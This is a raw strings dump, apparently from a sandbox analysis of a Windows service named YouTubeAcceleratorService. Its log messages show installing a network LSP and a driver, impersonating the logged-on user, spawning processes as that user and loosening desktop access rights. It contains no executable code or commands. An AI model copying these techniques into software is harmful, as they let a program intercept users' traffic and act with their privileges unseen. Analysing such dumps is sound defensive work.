std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --
f:\dd\vctools\crt_bld\self_x86\crt\src\xstring
f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator   
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator   
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =
cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
_CrtCheckMemory()
_CrtIsValidHeapPointer(pUserData)
_CrtSetDbgFlag
(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)
_CrtMemCheckpoint
f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)
wcscpy_s(szExeName, 260, L"<program name unknown>")
__crtMessageWindowW
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h
("Corrupted pointer passed to _freea", 0)
f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c
mscoree.dll
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c
f:\dd\vctools\crt_bld\self_x86\crt\src\access.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c
f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c
f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c
strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))
.sizeInTChars > 0
f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c
f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c
f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c
("Invalid MBCS character sequence passed to strftime",0)
("Invalid MBCS character sequence passed into strftime",0)
f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")
_NMSG_WRITE
f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
strcpy_s(szExeName, 260, "<program name unknown>")
__crtMessageWindowA
f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c
f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c
((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))
KERNEL32.DLL
f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")
_VCrtDbgReportA
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
_VCrtDbgReportW
f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c
WUSER32.DLL
f:\dd\vctools\crt_bld\self_x86\crt\src\close.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c
f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\write.c
f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c
f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\open.c
0 && "Only UTF-16 little endian & UTF-8 is supported for reads"
f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c
f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c
_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2
f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c
strcpy_s(resultstr, resultsize, autofos.man)
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c
("CRT Logic error during setenv",0)
__crtsetenv
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --
\\.\jsdrv1499
stproxy.cpp
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator   
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator   
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator   
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator   
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm
invalid operator<
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --
gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator   

YouTubeAcceleratorService.exe_3652:




.text
`.rdata
@.data
.text1
.adata
.data1
.pdata
.rsrc
uh9.tZ
otuh9.tZ
tZ9.tB
tV9.tB
l$$9.tZ
t9.tZ
uB9.tF
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CAcceleratorService::ExecuteServerAsWD] Exit
[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup
\\.\pipe\GOOBZO_VAPIPESERVERENG
[CAcceleratorService::ExecuteServerAsWD] Enter
[CAcceleratorService::CreateEngineThread] Create thread result %d
[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d
[CAcceleratorService::StopServiceExitMode] Name: %s
[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d
[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d
[CAcceleratorService::ExecuteServer] Leave
[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD
[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d
[CAcceleratorService::ExecuteServer] Enter
%d.%d.%d.%d
Name: %s
Path: %s
Version: %s
%s_%d.log
[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s
[CAcceleratorService::UninstallDriver] Driver name: %s
[CAcceleratorService::InstallLsp] Module not found - LE: %d
[CAcceleratorService::InstallLsp] Function Install not found - LE: %d
[CAcceleratorService::InstallLsp] Module path: %s
[CAcceleratorService::UninstallLsp] Module not found - LE: %d
[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d
[CAcceleratorService::UninstallLsp] Module path: %s
[CAcceleratorService::RunCommand] Command: %d
[CLSPKeepAlive::GetLastLSPTestStatus] return %d
[CLSPKeepAlive::CheckOurLSPStatus]
[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!
[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***
[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d
%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
[CDriverManager::CreateDriver] CreateService failed: %d
Tcpip
[CDriverManager::CreateDriver] Name: %s, Path: %s
[CDriverManager::Install] OpenSCManager failed: %d
[CDriverManager::Install] Name: %s, Path: %s
[CDriverManager::DeleteDriver] DeleteService failed: %d
[CDriverManager::DeleteDriver] OpenService failed: %d
[CDriverManager::DeleteDriver] Name: %s
[CDriverManager::UnInstall] OpenSCManager failed: %d
[CDriverManager::UnInstall] Name: %s
[CDriverManager::StartDriver] OpenService failed: %d
[CDriverManager::StartDriver] Name: %s
[CDriverManager::Load] OpenSCManager failed: %d
[CDriverManager::Load] Name: %s
[CDriverManager::StopDriver] OpenService failed: %d
[CDriverManager::StopDriver] Name: %s
[CDriverManager::UnLoad] OpenSCManager failed: %d
[CDriverManager::UnLoad] Name: %s
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
engine.dll
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
ipc.dll
xmldb.dll
config.xml
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
